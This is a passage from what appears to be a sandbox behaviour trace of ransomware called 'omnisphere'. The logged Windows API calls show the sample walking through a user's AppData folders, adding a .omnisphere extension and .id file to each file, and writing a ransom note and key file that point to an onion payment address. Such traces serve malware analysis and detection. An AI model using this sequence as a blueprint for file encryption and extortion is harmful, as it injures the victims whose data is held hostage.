"c:\\users\\fd1hvy\\appdata\\roaming\\_kddphsujidztzf4y7d.jpg.omnisphere")) returned 1 [0074.818] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\_kDdpHsuJIdzTzf4Y7D.jpg.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\_kDdpHsuJIdzTzf4Y7D.jpg.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\_kDdpHsuJIdzTzf4Y7D.jpg.omnisphere.id" [0074.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\_kDdpHsuJIdzTzf4Y7D.jpg.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\_kddphsujidztzf4y7d.jpg.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0074.819] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0074.820] CloseHandle (hObject=0x3a0) returned 1 [0074.820] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0074.821] CloseHandle (hObject=0x3bc) returned 1 [0074.821] SetEndOfFile (hFile=0x380) returned 1 [0074.821] FlushFileBuffers (hFile=0x380) returned 1 [0074.824] CloseHandle (hObject=0x380) returned 1 [0074.825] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\_kDdpHsuJIdzTzf4Y7D.jpg" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0074.825] GetProcessHeap () returned 0x1600000 [0074.825] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164f768 [0074.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0074.825] GetProcessHeap () returned 0x1600000 [0074.825] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f530 [0074.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f530, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0074.825] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0074.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.825] GetProcessHeap () returned 0x1600000 [0074.825] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f530 [0074.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f530, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0074.825] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0074.825] GetProcessHeap () returned 0x1600000 [0074.825] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x1668350 [0074.825] PathCombineW (in: pszDest=0x1668350, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0074.825] GetProcessHeap () returned 0x1600000 [0074.825] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1665860 [0074.825] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.825] WriteFile (in: hFile=0x380, lpBuffer=0x1665860*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1665860*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0074.826] CloseHandle (hObject=0x380) returned 1 [0074.827] GetProcessHeap () returned 0x1600000 [0074.827] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164f768 | out: hHeap=0x1600000) returned 1 [0074.827] GetProcessHeap () returned 0x1600000 [0074.827] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fc00 [0074.827] PathCombineW (in: pszDest=0x163fc00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0074.827] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.827] WriteFile (in: hFile=0x380, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0074.827] CloseHandle (hObject=0x380) returned 1 [0074.827] GetProcessHeap () returned 0x1600000 [0074.828] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fc00 | out: hHeap=0x1600000) returned 1 [0074.828] GetProcessHeap () returned 0x1600000 [0074.828] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668708 | out: hHeap=0x1600000) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e1e7e70, ftCreationTime.dwHighDateTime=0x1d4c917, ftLastAccessTime.dwLowDateTime=0x334db2f0, ftLastAccessTime.dwHighDateTime=0x1d4cef0, ftLastWriteTime.dwLowDateTime=0x334db2f0, ftLastWriteTime.dwHighDateTime=0x1d4cef0, nFileSizeHigh=0x0, nFileSizeLow=0x2fea, dwReserved0=0x0, dwReserved1=0xed, cFileName="_kDdpHsuJIdzTzf4Y7D.jpg", cAlternateFileName="_KDDPH~1.JPG")) returned 0 [0074.828] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0074.828] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\*", lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xdb0cbfb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xdb0cbfb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639728 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xdb0cbfb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xdb0cbfb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68fa6ab, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x68fa6ab, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xdb32d6e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7037f0, ftCreationTime.dwHighDateTime=0x1d4d166, ftLastAccessTime.dwLowDateTime=0x378f3e40, ftLastAccessTime.dwHighDateTime=0x1d4d4c4, ftLastWriteTime.dwLowDateTime=0x68fa6ab, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xda74, dwReserved0=0x0, dwReserved1=0x0, cFileName="0qM7PXCSnWH2CmmBFnz8.avi.omnisphere", cAlternateFileName="0QM7PX~1.OMN")) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x353d2a3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x353d2a3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x68fa6ab, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="0qM7PXCSnWH2CmmBFnz8.avi.omnisphere.id", cAlternateFileName="0QM7PX~1.ID")) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f25e4c0, ftCreationTime.dwHighDateTime=0x1d4d47a, ftLastAccessTime.dwLowDateTime=0xa62eb660, ftLastAccessTime.dwHighDateTime=0x1d4d2c0, ftLastWriteTime.dwLowDateTime=0x6946bae, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xd276, dwReserved0=0x0, dwReserved1=0x0, cFileName="0uznes.gif.omnisphere", cAlternateFileName="0UZNES~1.OMN")) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6946bae, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x6946bae, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x6946bae, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="0uznes.gif.omnisphere.id", cAlternateFileName="0UZNES~1.ID")) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83efcc60, ftCreationTime.dwHighDateTime=0x1d4d5b3, ftLastAccessTime.dwLowDateTime=0x5f975420, ftLastAccessTime.dwHighDateTime=0x1d4cf85, ftLastWriteTime.dwLowDateTime=0x69df4f4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1601b, dwReserved0=0x0, dwReserved1=0x0, cFileName="1d7dZR0.jpg.omnisphere", cAlternateFileName="1D7DZR~1.OMN")) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69df4f4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x69df4f4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x69df4f4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="1d7dZR0.jpg.omnisphere.id", cAlternateFileName="1D7DZR~1.ID")) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1225000, ftCreationTime.dwHighDateTime=0x1d4c8ec, ftLastAccessTime.dwLowDateTime=0xc20dfb60, ftLastAccessTime.dwHighDateTime=0x1d4d11d, ftLastWriteTime.dwLowDateTime=0x6a2b9bd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xb062, dwReserved0=0x0, dwReserved1=0x0, cFileName="1X4wmVa.bmp.omnisphere", cAlternateFileName="1X4WMV~1.OMN")) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a2b9bd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x6a2b9bd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x6a2b9bd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="1X4wmVa.bmp.omnisphere.id", cAlternateFileName="1X4WMV~1.ID")) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f14b510, ftCreationTime.dwHighDateTime=0x1d4c7f5, ftLastAccessTime.dwLowDateTime=0x1285b190, ftLastAccessTime.dwHighDateTime=0x1d4ceae, ftLastWriteTime.dwLowDateTime=0x6aea566, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1344c, dwReserved0=0x0, dwReserved1=0x0, cFileName="aar4wXwobwm8v j.mp3.omnisphere", cAlternateFileName="AAR4WX~1.OMN")) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6aea566, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x6aea566, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x6aea566, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="aar4wXwobwm8v j.mp3.omnisphere.id", cAlternateFileName="AAR4WX~1.ID")) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e6ed40, ftCreationTime.dwHighDateTime=0x1d4c59c, ftLastAccessTime.dwLowDateTime=0xe8ba94a0, ftLastAccessTime.dwHighDateTime=0x1d4cdba, ftLastWriteTime.dwLowDateTime=0x6b36a16, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcOLQjuLNXMql.gif.omnisphere", cAlternateFileName="ACOLQJ~1.OMN")) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b36a16, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x6b36a16, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x6b36a16, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcOLQjuLNXMql.gif.omnisphere.id", cAlternateFileName="ACOLQJ~1.ID")) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0074.828] GetProcessHeap () returned 0x1600000 [0074.828] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5a) returned 0x165fbe8 [0074.829] PathCombineW (in: pszDest=0x165fbe8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="Adobe" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe" [0074.829] GetProcessHeap () returned 0x1600000 [0074.829] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5e) returned 0x1648c90 [0074.829] PathCombineW (in: pszDest=0x1648c90, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\*" [0074.829] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0074.832] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="..", cAlternateFileName="")) returned 1 [0074.832] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0074.832] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0074.832] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0074.832] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0074.833] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0074.833] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Sonar", cAlternateFileName="")) returned 1 [0074.833] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="Sonar", cAlternateFileName="")) returned 0 [0074.833] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0074.834] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0074.835] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.835] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0074.835] GetProcessHeap () returned 0x1600000 [0074.835] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6a) returned 0x161d0c0 [0074.835] PathCombineW (in: pszDest=0x161d0c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", pszFile="Acrobat" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat" [0074.835] GetProcessHeap () returned 0x1600000 [0074.835] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x16590f8 [0074.835] PathCombineW (in: pszDest=0x16590f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\*" [0074.835] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0080.619] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, 